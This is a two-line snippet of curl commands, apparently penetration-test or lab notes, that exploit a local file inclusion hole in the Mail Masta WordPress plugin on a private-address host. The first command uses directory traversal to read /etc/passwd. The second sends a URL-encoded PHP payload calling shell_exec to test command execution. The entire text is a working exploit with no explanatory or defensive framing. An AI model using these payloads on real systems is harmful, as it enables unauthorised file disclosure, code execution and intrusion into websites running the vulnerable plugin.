curl http://192.168.142.112/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=../../../../../../../../etc/passwd

curl http://192.168.142.112/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=%3C%3Fphp%20echo%20shell_exec%28%27pwd%27%29%3B%20%3F%3E